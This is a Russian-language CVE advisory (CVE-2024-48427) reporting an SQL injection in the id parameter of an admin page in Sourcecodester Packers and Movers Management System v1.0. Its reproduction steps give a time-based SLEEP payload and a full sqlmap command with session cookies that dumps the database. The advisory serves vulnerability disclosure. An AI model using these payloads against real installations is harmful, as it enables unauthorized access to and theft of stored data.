CVE-2024-48427
Описание
Уязвимость SQL-инъекции в Sourcecodester Packers and Movers Management System v1.0 позволяет удалённым аутентифицированным пользователям выполнять произвольные SQL-команды через параметр id в /mpms/admin/?page=services/manage_service&id
Тип уязвимости
SQL-инъекция
Производитель продукта
Sourcecodester
Затронутая кодовая база продукта:
https://www.sourcecodester.com/php/15360/packers-and-movers-management-system-phpoop-free-source-code.html - 1.0
Затронутый компонент:
Параметр id в разделе Update Service Details по адресу /mpms/admin/?page=services/manage_service&id
Векторы атаки:
- Установите приложение локально и войдите в панель администратора, используя предоставленные учётные данные по умолчанию.
- Перейдите на уязвимую страницу: http://localhost/mpms/admin/?page=services/manage_service&id=2
- Внедрите SQL-пейлоад в параметр id: http://localhost/mpms/admin/?page=services/manage_service&id=1' OR SLEEP(5)-- puNr
- Наблюдайте за ответом приложения: если инъекция успешна, страница должна загружаться заметно дольше (на 5 секунд), что подтверждает уязвимость параметра id к SQL-инъекции.
- Теперь запустите SQLMap для извлечения данных из базы данных:
- sqlmap -u "http://localhost/mpms/admin/?page=services/manage_service&id=1" --cookie="phpMyAdmin=ju34bd3d8q0jdf6td4ntqscaqd;PHPSESSID=eopn8q1p8c1f5m1v5igjoir8k1;" --dbms mysql -p id --risk 3 --level 4 --dbs --dump
Ссылки:
- https://owasp.org/www-community/attacks/SQL_Injection
- https://portswigger.net/web-security/sql-injection